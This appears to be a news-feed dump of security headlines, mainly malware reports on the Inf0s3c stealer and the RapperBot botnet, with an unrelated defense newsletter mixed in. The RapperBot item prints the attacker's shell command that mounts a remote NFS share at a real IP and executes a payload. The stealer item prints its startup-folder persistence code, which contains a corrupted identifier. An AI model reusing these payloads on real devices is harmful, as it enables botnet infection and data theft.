• A sophisticated new Python-based information stealer has emerged in the cybersecurity landscape, demonstrating advanced capabilities for data exfiltration through Discord channels.

    The malware, identified as “Inf0s3c Stealer,” represents a significant evolution in the realm of data theft tools, combining traditional system reconnaissance techniques with modern communication platforms to avoid detection while efficiently harvesting sensitive information from compromised Windows systems.

    The malware operates as a comprehensive grabber designed to systematically collect host identifiers, CPU information, network configurations, and user data from infected machines.

    Inf0s3c Stealer (Source – Cyfirma)

    Upon execution, it silently invokes multiple PowerShell commands through the Command Prompt to gather extensive system details, creating a detailed profile of the victim’s environment.

    The stealer targets a wide range of sensitive information including Discord accounts, browser credentials, cookies, browsing history, cryptocurrency wallets, Wi-Fi passwords, and gaming platform sessions from popular services like Steam, Epic Games, and Minecraft.

    Cyfirma researchers identified that the malware demonstrates sophisticated packaging and obfuscation techniques, utilizing both UPX compression and PyInstaller bundling to evade detection.

    The 6.8MB executable maintains a high entropy value of 8.000, indicating heavy packing that obscures its true functionality from static analysis tools.

    During execution, the malware creates temporary directories within the Windows %temp% folder, systematically organizing stolen data into categorized subdirectories such as “Credentials,” “Directories,” and “System” before compilation into password-protected archives.

    The stealer’s primary innovation lies in its automated exfiltration mechanism through Discord channels, where it transmits collected data as compressed RAR archives labeled “Blank Grabber.”

    This approach leverages legitimate communication infrastructure to blend malicious traffic with normal user activity, significantly reducing the likelihood of detection by network monitoring systems.

    Advanced Persistence and Evasion Mechanisms

    The Inf0s3c Stealer employs sophisticated persistence tactics that ensure long-term system compromise.

    The malware copies itself into the Windows Startup folder, disguised with a .scr extension to appear as a screensaver file.

    Build.exe (Source – Cyfirma)

    This technique is implemented through the PutInStartup() function, which targets the system-wide startup directory:-

    def PutInStartup() -> str:
        STARTUPDIR = "C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\StartUp"
        file, isExecutable = Utility.GetS```()
        if isExecutable:
            out = os.path.join(STARTUPDIR, "{}.scr".format(Utility.GetRandomString(invisible=True)))
            os.makedirs(STARTUPDIR, exist_ok=True)
            try: shutil.copy(file, out)
            except Exception: return None
            return out

    The malware incorporates multiple anti-analysis features including anti-VM checks and the ability to block antivirus-related websites.

    It can perform self-deletion after execution through a “melt” function, leaving minimal forensic traces.

    Additionally, the stealer includes a “pump stub” feature designed to artificially inflate file size, potentially bypassing size-based detection heuristics employed by security solutions.

    Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

    The post New Stealthy Python Malware Leverages Discord to Steal Data From Windows Machines appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The U.S. military killed nearly a dozen people in a small speedboat allegedly carrying narcotics from Venezuela, President Trump said Tuesday at the White House, echoed shortly afterward by a tweet from his secretary of state. 

    Trump posted video of the lethal encounter on his social media account, claiming U.S. troops “positively identified Tren de Aragua Narcoterrorists in the SOUTHCOM area of responsibility” and carried out the strike “while the terrorists were at sea in International waters transporting illegal narcotics, heading to the United States.” 

    “The strike resulted in 11 terrorists killed in action,” the president wrote, adding, “Please let this serve as notice to anybody even thinking about bringing drugs into the United States of America.”

    The Pentagon didn’t have much more to say about the encounter, telling reporters in a short statement on Tuesday, “As the President announced today, we can confirm the U.S. military conducted a precision strike against a drug vessel operated by a designated narco-terrorist organization. More information will be made available at a later time.” 

    But: A U.S. official later told the New York Times “either an attack helicopter or an MQ-9 Reaper drone…carried out the attack on Tuesday morning against a four-engine speedboat loaded with drugs.”

    Rolling deep: The U.S. has nearly 7,000 troops and more than a half-dozen warships in the region, including a submarine and at least three Arleigh Burke class guided-missile destroyers—USS Gravely, USS Jason Dunham and the USS Sampson—ostensibly to fight drug trafficking from Venezuela. More than 2,000 troops from the 22nd Marine Expeditionary Unit recently arrived. P-8 maritime patrol planes are also operating nearby, as well as troops aboard the USS San Antonio, USS Iwo Jima, and USS Fort Lauderdale. Some of the Navy ships “can carry aerial assets like helicopters while others can also deploy Tomahawk cruise missiles,” Reuters reports. “U.S. surveillance aircraft and other sensors had been monitoring cartel maritime traffic for weeks before the strike,” a U.S. official told the Times.

    No known authorization: Congress has passed no Authorization for Use of Military Force for such action, nor has the White House invoked the War Powers Act—which begs the question: on what legal authority do these lethal actions proceed?

    Second opinion: “‘Not yielding to pursuers’ or [being] ‘suspected of carrying drugs’ doesn't carry a death sentence,” noted Adam Isacson of the Washington Office on Latin America, writing Tuesday on social media. 

    Also notable: Despite Trump’s claim that the “terrorists were at sea in International waters transporting illegal narcotics, heading to the United States,” Rubio told reporters later that “These particular drugs were probably headed to Trinidad or some other country in the Caribbean.”

    Coverage continues below…


    Welcome to this Wednesday edition of The D Brief, a newsletter dedicated to developments affecting the future of U.S. national security, brought to you by Ben Watson with Bradley Peniston. Share your tips and feedback here. And if you’re not already subscribed, you can do that here. On this day in 1954, the First Taiwan Strait Crisis erupted when military forces from the People's Republic of China began shelling multiple islands around Taiwan.

    Update: Trump can’t use the Alien Enemies Act to deport alleged Tren de Aragua gang members, a three-judge panel from the 5th Circuit Court of Appeals ruled Tuesday. 

    Implications: “The decision bars deportations from Texas, Louisiana and Mississippi,” the Associated Press writes. However, “The ruling can be appealed to the full 5th Circuit or directly to the U.S. Supreme Court, which is likely to make the ultimate decision on the issue.”

    “We find no invasion or predatory incursion,” the judges said, and explained, “A country’s encouraging its residents and citizens to enter this country illegally is not the modern-day equivalent of sending an armed, organized force to occupy, to disrupt, or to otherwise harm the United States.” They also clarified, “our injunction solely applies to the use of the war-related federal statute and does not impede use of any other statutory authority for removing foreign terrorists.”

    Expert reax: The judges observed “that the law is fundamentally about war and about military actions; not illegal immigration or drug trafficking,” said Aaron Reichlin-Melnick of the American Immigration Council. 

    Also new: The Pentagon just authorized up to 600 military lawyers to serve as temporary immigration judges, AP reported Tuesday in what one law professor described as a “Blatant way to further militarize immigration enforcement.”

    Context: “[M]ore than 100 immigration judges have been fired or left voluntarily after taking deferred resignations offered by the Trump administration” and “at least 17 immigration judges had been fired ‘without cause’ in courts across the country,” AP’s Konstantin Toropin writes. “That has left about 600 immigration judges, union figures show, meaning the Pentagon move would double their ranks” amid a backlog of more than 3 million cases.

    Second opinion: “Expecting fair decisions from judges unfamiliar with the law is absurd,” said Ben Johnson, executive director of the American Immigration Lawyers Association. The decision “makes as much sense as having a cardiologist do a hip replacement.” More, here

    Troops in US streets

    A judge ruled Tuesday that Trump's National Guard deployment to California was illegal, and shared his concerns about a president acting as a national police chief. 

    The judge said the roughly 4,700 Guard members and Marines engaged in police activity in violation of the Posse Comitatus Act of 1878, which he said built on the constitutional framers’ wariness of a centralized military force conducting police work, Jacob Fischler reports for States Newsroom

    “Contrary to Congress’s explicit instruction, federal troops executed the laws,” the judge wrote in his opinion (PDF). “Defendants systematically used armed soldiers (whose identity was often obscured by protective armor) and military vehicles to set up protective perimeters and traffic blockades, engage in crowd control, and otherwise demonstrate a military presence in and around Los Angeles. In short, Defendants violated the Posse Comitatus Act.”

    He also said he’s concerned that Trump and Defense Secretary Pete Hegseth want to expand the role of National Guard troops for law enforcement, noting the two “have stated their intention to call National Guard troops into federal service in other cities across the country… thus creating a national police force with the President as its chief.” He continued, “Indeed, resentment of Britain’s use of military troops as a police force was manifested in the Declaration of Independence, where one of the American colonists’ grievances was that the King had ‘affected to render the Military independent of and superior to the Civil power.’”

    Fine print: The ruling only applies to California. 

    Next steps: Trump is likely to appeal the ruling to the U.S. 9th Circuit Court of Appeals, where he won a victory early in the case, Fischler writes. Read more, here

    Trump seemed to spurn the ruling Tuesday, and vowed to deploy National Guard troops to fight crime in Chicago. “We're going in. I didn't say when, but we're going in,” the president said Tuesday at the White House. Trump’s vow is “likely to trigger a legal battle with local officials,” Reuters reported afterward. 

    Developing: Illinois Gov. JB Pritzker claims Texas National Guard troops are preparing for some kind of immigration-related operation around Chicago. “We have reason to believe that the Trump administration has already begun staging the Texas National Guard for deployment in Illinois,” the governor said Tuesday afternoon. 

    “In the coming days, we expect to see what has played out in Los Angeles and Washington, D.C., to happen here in Chicago,” Pritzker said Tuesday. “It is likely those agents will be with ICE, Customs and Border Patrol, the Department of Homeland Security, and other similarly situated federal agencies. Many of these individuals are being relocated from Los Angeles for deployment in Chicago. We believe that staging that has already begun started yesterday, and continues into today.”

    “This is not about crime,” Pritzker said. “More and more reports around these raids include people who were stopped or detained because of how they look, and not because of any threat to the public…Let's be clear, the terror and cruelty is the point, not the safety of anyone living here.”

    Local opposition: “[Trump] just wants his own secret police force that will do publicity stunts whenever his poll numbers are sinking, whenever his jobs report shows a stagnating economy, whenever he needs another distraction from his failures,” Chicago Mayor Brandon Johnson said in a statement Tuesday. 

    Additional opposition: “The administration is clearly exceeding its constitutional limits by treating the National Guard as its personal standing army,” said David Janovsky, acting director of The Constitution Project at the Project on Government Oversight. “First, it was Los Angeles. Then, it was our nation’s capital. Now, the federal government has its sights set on turning Chicago and Baltimore into police states. “This is an egregious and dangerous overreach that is already having disastrous consequences,” he claimed, and asked lawmakers to intervene. “Americans shouldn’t fear going to the grocery store or dropping their children off at school just because the administration wants to exert power and use our service members as political props,” he added. 

    For some informed legal analysis of a possible Guard deployment to Chicago, national security law professor Steve Vladeck wrote a quick explainer Tuesday following Pritzker and Trump’s remarks to reporters. 

    An excerpt: “[W]e’ve never had a President who thought it was a good idea to try to pull a stunt like this (or, at the very least, who didn’t face insurmountable political obstacles to attempting to do so),” Vladeck observes. “But my own view, having spent a lot of time looking at Founding-era materials on domestic uses of the military, is that a Constitution that authorized what Trump is apparently contemplating would never have been ratified by states that were already suspicious of giving away too much control over their own affairs.”

    Related reading:Can Federal Troops Be Stationed At The Polls In 2026?” former Justice Department attorney Joyce Vance considered, writing Tuesday on Substack. 

    New: Space Command HQ will move to Alabama, in part because of Colorado’s voting policies, Trump says. In the latest whiplash for the combatant command, the president says he will move SPACECOM headquarters to Huntsville, Alabama, reversing a Biden-administration decision to keep it at Peterson Air Force Base. The Pentagon spent hundreds of millions of dollars to build the Peterson HQ, which became fully operational less than two years ago.

    Trump has long railed against mail-in voting, claiming falsely that it is more prone to fraud. (“Mail voting malfeasance is exceptionally rare,” says the nonpartisan Brennan Center.) Defense One’s Audrey Decker has more, here.

    Additional reading:Trump’s move of SPACECOM to Alabama has little to do with national security,” via ArsTechnica.

    Europe

    Ukraine’s milestone shows drones prevent defeat, but don’t secure victory. Kyiv’s announcement that it will procure two million drones this year underscores a counterintuitive phenomenon: increasing the speed of innovation and deployment of new technologies may not result in any increase in battlefield gains.

    “Those one-way attack drones are not going to gain air superiority, and they don’t have air superiority, and that’s really one of the key attributes of the conflict in Russia-Ukraine, is no one does,” Gen. Alexus Grynkewich, commander of  U.S. European Command, and Supreme Allied Commander Europe, said last week at an NDIA event in Washington, D.C.

    Ukraine’s radical rethinking of acquisition now allows frontline commanders to buy drones directly from manufacturers—and receive them in as little as five days. The Pentagon is following suit, in spirit if not in letter. But will it work? Defense One’s Patrick Tucker digs in, here.

    Related: “Ukrainian drone strikes strangle Putin’s fuel supplies,” reports Politico, adding that attacks on refineries have caused shortages and interrupted gas exports that are key to Moscow’s ability to continue its war.

    How China is secretly arming Russia. An investigation by The Telegraph has unearthed 97 suppliers in ostensibly neutral China that are sending arms and components to Russia. “Goods directly exported by China to Russia included aircraft engines, microchips, metal alloys, camera lenses, fibreglass, emulsion binders for fibreglass, and carbon fibre yarns—all key components to produce the drones that wreak nightly havoc on Ukraine.” Read on, here.

    Additional reading: 

    Etc.

    Developing: There’s lots of new construction around a suspected nuclear weapons site inside Israel, AP reported Wednesday citing satellite imagery over the Shimon Peres Negev Nuclear Research Center near the city of Dimona. 

    Experts who reviewed the imagery said “it could be a new reactor or a facility to assemble nuclear arms—but secrecy shrouding the program makes it difficult to know for sure.” Three said the location and size of the area under construction” pointed to “the construction of a new heavy water reactor.” Four others “acknowledged it could be a heavy water reactor but also suggested the work could be related to a new facility for assembling nuclear weapons.” Read more, here

    ]]>

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Cybersecurity researchers began detecting an alarming surge in early April 2025 in UDP flood traffic emanating from compromised network video recorders (NVRs) and other edge devices.

    Within milliseconds of infection, these devices were weaponized to direct overwhelming volumes of packets at unsuspecting targets, leading to service disruptions and massive bandwidth consumption.

    Bitsight analysts identified this activity as the work of a novel botnet they dubbed RapperBot, noting its unusually rapid kill chain and innovative use of legacy hardware constraints to evade detection.

    18-port Ethernet Hub Setup (Source – Bitsight)

    The malware’s emergence follows a familiar pattern: threat actors scan the Internet for exposed web interfaces, brute-force or exploit default credentials, and deliver a malicious payload disguised as a firmware update.

    Once executed, RapperBot immediately begins two distinct actions: encrypted DNS TXT record queries to obtain command-and-control (C2) IP addresses, and continuous UDP floods on port 80.

    Impact assessments show individual device throughput exceeding 1 Gbps, with aggregated botnet capacity peaking at over 7 Tbps during coordinated campaigns against major targets, including cloud-based search providers and social media platforms.

    Despite its potency, the malware’s behavior is elegantly simple: it mounts a remote NFS share to fetch and execute architecture-specific binaries, then self-deletes to run entirely in memory.

    Bitsight researchers noted this strategy leverages the minimal BusyBox environment on many IoT devices, where standard download tools like curl or /dev/tcp are absent.

    By exploiting the NVR’s firmware update mechanism—specifically, a path traversal zero-day in the web server followed by a binary fetch over NFS—RapperBot avoids the usual filesystem artifacts that trigger antivirus alerts.

    Firmware Update JSON Payload (Source – Bitsight)

    Under the hood, RapperBot’s C2 discovery mechanism relies on encrypted TXT records hosted on OpenNIC domains such as iranistrash.libre and pool.rentcheapcars.sbs.

    The malware constructs one of 32 predetermined hostnames by selecting randomly from hardcoded subdomain, domain, and TLD lists, then resolves these names against custom DNS servers (1.1.1.1, 8.8.8.8, and others).

    The TXT response contains a pipe-separated list of encrypted IP addresses, which the bot decrypts with a custom RC4-like algorithm followed by base-56 decoding.

    A Python snippet illustrating the decryption stages appears below:-

    # Stage 1: Key Scheduling Algorithm (KSA-like)
    S = list(range(56))
    key = (first_byte_index + second_byte_index * 56)
    for i in range(55, 0, -1):
        key = (0x41C64E6D * key + 0x3039) & 0xFFFFFFFF
        j = key % (i + 1)
        S[i], S[j] = S[j], S[i]
    
    # Stage 2: Keystream-based XOR decryption
    keystream = bytearray()
    i = j = 0
    for b in encrypted_payload[2:]:
        i = (i + 1) % 56
        j = (j + S[i]) % 56
        S[i], S[j] = S[j], S[i]
        keystream. Append(S[(S[i] + S[j]) % 56] ^ b)
    
    # Stage 3: Base-56 decoding to obtain plaintext IP list
    plaintext = base56_decode(keystream)
    print(plaintext)  # e.g., b"194.226.121.51|188.92.28.62|..."
    Getting C2 IP addess and connecting to C2 (Source – Bitsight)

    Infection Mechanism

    RapperBot’s infection vector capitalizes on the administrative port (TCP 34567) of vulnerable NVRs.

    Upon identifying an exposed device, the attacker exploits a path traversal flaw to download account configuration files, revealing both hashed and plaintext credentials.

    With these credentials, the attacker initiates a fake firmware update, sending a ZIP-formatted payload over the proprietary update protocol.

    The ZIP archive contains a simple InstallDesc JSON instructing the device to mount 104.194.9.127:/nfs and execute the payload script:-

    {
      "UpgradeCommand": [
        {
          "Command": "Shell",
          "Script": "cd /var;mount -o intr,nolock,exec 104.194.9.127:/nfs z;z/z;"
        }
      ]
    }

    This approach cleverly bypasses the NVR’s BusyBox limitations—no wget, curl, or / dev/tcp—by using NFS, a protocol universally supported even on minimal embedded Linux systems.

    The script iterates through multiple ARM architecture binaries until successful, writes a marker file .r, then cleans up, leaving no on-disk executable.

    The immediate execution from mounted memory significantly reduces forensic footprint and enables the split-second transition from benign device to active DDoS participant.

    Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

    The post RapperBot Hijacking Devices to Launch DDoS Attack In a Split Second appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • PagerDuty has confirmed that it experienced a data breach following a compromise of its Salesforce account. The company was first alerted to the issue by Salesloft on August 20, 2025, when Salesloft notified PagerDuty of a security problem in the Drift application. A few days later, on August 23, Salesloft revealed that attackers had exploited […]

    The post PagerDuty Confirms Data Breach After Salesforce Account Compromise appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • A newly discovered vulnerability in the AI supply chain—termed Model Namespace Reuse—permits attackers to achieve Remote Code Execution (RCE) across major AI platforms, including Microsoft Azure AI Foundry, Google Vertex AI, and thousands of open-source projects. By re-registering abandoned or deleted model namespaces on Hugging Face, malicious actors can trick pipelines that fetch models by […]

    The post Namespace Reuse Vulnerability Exposes AI Platforms to Remote Code Execution appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has issued an alert about a serious security hole in certain TP-Link devices. This flaw, tracked as CVE-2020-24363, allows an attacker on the same network to take control without needing a password. CISA warns that this weakness is already being actively exploited by bad actors. Vulnerability Details […]

    The post CISA Alerts on TP-Link Authentication Flaw Under Active Exploitation appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • PagerDuty, a leader in digital operations management, has confirmed a security incident that resulted in unauthorized access to some of its data stored in Salesforce.

    The company stated that no PagerDuty platform credentials were compromised and that the breach resulted from a vulnerability in a third-party application, Salesloft Drift.

    The incident’s timeline began on August 20, 2025, when PagerDuty was first notified by Salesloft about a potential security issue related to its Drift application.

    Three days later, on August 23rd, Salesloft confirmed that attackers had exploited a vulnerability in Drift’s OAuth integration with Salesforce. This “hijacked authorization process” allowed a threat actor to gain unauthorized access to PagerDuty’s Salesforce instance.

    PagerDuty Confirms Data Breach

    PagerDuty has emphasized that the breach was limited in scope. In a statement, the company confirmed, “We have not seen any indication that access to the PagerDuty platform or any other internal systems or resources beyond Salesforce may have occurred.”

    The company immediately disabled Salesloft Drift’s access to its Salesforce data upon learning of the compromise and is conducting an ongoing investigation.

    The data potentially exposed includes customer contact information such as names, phone numbers, and email addresses. While PagerDuty’s core services and credentials remain secure, the exposure of this contact information raises the risk of targeted phishing and social engineering attacks against its customers.

    In light of this potential exposure, PagerDuty is advising all customers to exercise extra vigilance. “PagerDuty will never contact anyone by phone to request a password or any other secure details,” the company warned. “All official communication from PagerDuty comes through our trusted support channels.”

    This security event is part of a wider issue affecting customers of the Salesloft Drift application. Background information and technical details on the vulnerability have been published by Salesloft on its trust center, as well as by Salesforce and Google’s Threat Intelligence Group, which has been tracking the activity.

    The incident highlights the complex security challenges companies face when integrating third-party applications into their core systems.

    On August 27th, Salesloft issued further recommendations for Drift customers who manage their own connections to third-party applications, signaling the ongoing efforts to contain the vulnerability’s impact across the industry.

    PagerDuty has assured its customers that it is treating the matter with the utmost seriousness and is working diligently to understand the full scope of the incident.

    The company continues to monitor the situation closely and is committed to providing updates as its investigation progresses. Customers are urged to be cautious of unsolicited communications and to report any suspicious activity.

    Confirmed victims of this supply chain attack include:

    • Palo Alto Networks: The cybersecurity firm confirmed the exposure of business contact information and internal sales data from its CRM platform.
    • Zscaler: The cloud security company reported that customer information, including names, contact details, and some support case content, was accessed.
    • Google: In addition to being an investigator, Google confirmed a “very small number” of its Workspace accounts were accessed through the compromised tokens.
    • Cloudflare: Cloudflare has confirmed a data breach where a sophisticated threat actor accessed and stole customer data from the company’s Salesforce instance.

    Find this Story Interesting! Follow us on Google NewsLinkedIn, and X to Get More Instant Updates.

    The post PagerDuty Confirms Data Breach After Third-Party App Vulnerability Exposes Salesforce Data appeared first on Cyber Security News.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • More than 1,100 instances of Ollama—a popular framework for running large language models (LLMs) locally—were discovered directly accessible on the public internet, with approximately 20% actively hosting vulnerable models that could be exploited by unauthorized parties. Cisco Talos specialists made the alarming finding during a rapid Shodan scan, underscoring negligent security practices in AI deployments […]

    The post Over 1,100 Ollama AI Servers Found Online, 20% at Risk appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • Threat actors are attempting to leverage a newly released artificial intelligence (AI) offensive security tool called HexStrike AI to exploit recently disclosed security flaws. HexStrike AI, according to its website, is pitched as an AI‑driven security platform to automate reconnaissance and vulnerability discovery with an aim to accelerate authorized red teaming operations, bug bounty hunting,

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

  • The recently emerged DireWolf ransomware group has launched a sophisticated new campaign targeting Windows systems worldwide, employing ruthless tactics to delete event logs, erase backup-related data, and thwart recovery efforts. First sighted in May 2025, DireWolf has rapidly escalated its operations, infecting 16 organizations across 16 regions—including the United States, Thailand, Taiwan, Australia, and Italy—and […]

    The post Dire Wolf Ransomware Targets Windows, Wipes Logs and Backups appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶

    ¶¶¶¶¶